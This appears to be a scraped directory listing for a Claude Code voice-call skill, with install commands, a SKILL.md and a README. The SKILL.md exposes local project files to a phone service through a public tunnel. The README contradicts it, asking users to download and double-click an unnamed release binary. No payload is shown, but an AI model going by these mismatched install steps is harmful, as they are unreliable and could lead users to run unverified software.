Refactor high-complexity React components in Dify frontend. Use when `pnpm analyze-component...
npx skills add tehrim-786/claude-code-voice-skill
Or install specific skill: npx add-skill https://github.com/tehrim-786/claude-code-voice-skill
# Description
Voice conversations with Claude about your projects. Call a phone number to brainstorm, or have Claude call you with updates.
# SKILL.md
name: call
description: Voice conversations with Claude about your projects. Call a phone number to brainstorm, or have Claude call you with updates.
allowed-tools: Bash, Read, Write, AskUserQuestion
user-invocable: true
/call
Voice conversations with Claude (Opus 4.5) about your projects.
Quick Start
# One-time setup
pip install claude-code-voice
claude-code-voice setup # Add API key, phone, name
# Register a project
cd your-project
claude-code-voice register
# Start receiving calls (does everything automatically)
claude-code-voice start
That's it! Now you can:
- Outbound: Run claude-code-voice call to have Claude call you
- Inbound: Call the Vapi number shown and Claude answers with your project loaded
Commands
| Command | Description |
|---|---|
setup |
Configure Vapi API key, your phone number, and name |
register |
Register current directory as a project |
start |
Easy mode - starts server + tunnel, configures everything |
call [topic] |
Have Claude call you about current/recent project |
status |
Check if everything is configured |
config name <name> |
Update your name for greetings |
Features
Personalized Greetings
Claude greets you by name: "Hey Sarah! I've got my-project loaded up."
Set your name during setup or update it:
claude-code-voice config name YourName
Live Project Context
During calls, Claude can:
- Read your files
- Search your code
- Check git status
- See recent changes
Auto-Sync Transcripts
Transcripts automatically save to ~/.claude/skills/call/data/transcripts/ when calls end.
How It Works
- Setup stores your Vapi API key and creates voice tools
- Register snapshots your project context (git status, recent files, etc.)
- Start runs a local server + tunnel so Vapi can reach your code
- Calls use Opus 4.5 with your project context preloaded
Requirements
- Vapi account with API key (https://dashboard.vapi.ai)
- Vapi phone number (purchase in dashboard ~$2/month)
- Node.js (for localtunnel)
Troubleshooting
Call doesn't connect
claude-code-voice status # Check configuration
Claude can't access files during call
Make sure claude-code-voice start is running in a terminal.
"I don't recognize this number"
Call from the phone number you used during setup.
Manual Setup (Advanced)
If you prefer manual control:
# Terminal 1: Start server
claude-code-voice server
# Terminal 2: Start tunnel
npx localtunnel --port 8765
# Configure the tunnel URL
claude-code-voice config server-url https://xxx.loca.lt
claude-code-voice configure-inbound
# README.md
π€ claude-code-voice-skill - Talk to Claude About Your Projects
π Getting Started
Welcome to the claude-code-voice-skill! This skill allows you to have voice conversations with Claude about your projects. Whether you need updates or support, you can just ask. Follow these steps to get started.
π₯ Download & Install
To download the application, visit the link below. This page contains the latest version you can download.
Step-by-Step Installation:
-
Go to the Releases Page: Click on the link above to open the releases page.
-
Choose the Correct File: On this page, you will see a list of available releases. Look for the latest version.
-
Download the Application: Click on the filename for the latest release. This will start the download.
-
Locate the Downloaded File: After the download is complete, locate the file in your "Downloads" folder or the folder you selected for downloads.
-
Run the Application:
- On Windows: Double-click the downloaded file to start the installation.
- On Mac: Double-click the downloaded file to mount it. Then drag the application to your Applications folder.
ποΈ Using the Application
Once the application is installed, you can start using it to talk to Claude. Hereβs how:
- Open the Application: Click on the application icon to launch it.
- Sign In or Create an Account: If prompted, log in to your existing account or create a new one.
- Begin Talking: You can say commands or ask about your projects directly. Just speak clearly.
π§ System Requirements
To run the application smoothly, your device should meet these minimum requirements:
- Operating System: Windows 10 or newer, macOS 10.14 or newer.
- RAM: At least 4 GB.
- Storage: Minimum of 100 MB free space.
- Internet Connection: Required for voice communication.
π‘ Features
- Voice Interaction: Speak to Claude and get real-time responses.
- Project Updates: Ask about status and developments in your projects.
- User-Friendly Interface: Designed with ease of use in mind to help you talk without tech hassles.
βοΈ Troubleshooting
If you encounter any issues:
- Ensure your microphone and speakers are working properly.
- Check your internet connection.
- Restart the application if it freezes.
For common problems, refer to the help section within the app or look for FAQs on our GitHub page.
βοΈ Community Support
Feel free to reach out if you need help or have questions:
- Submit an issue on our GitHub Issues page.
- Join our community discussions for tips and support from other users.
π Additional Resources
- Latest Release Page
- GitHub Issues
- User guides and FAQs.
With these steps, you are ready to use the claude-code-voice-skill and make your project discussions easier and more convenient! Enjoy talking to Claude!
# Supported AI Coding Agents
This skill is compatible with the SKILL.md standard and works with all major AI coding agents:
Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.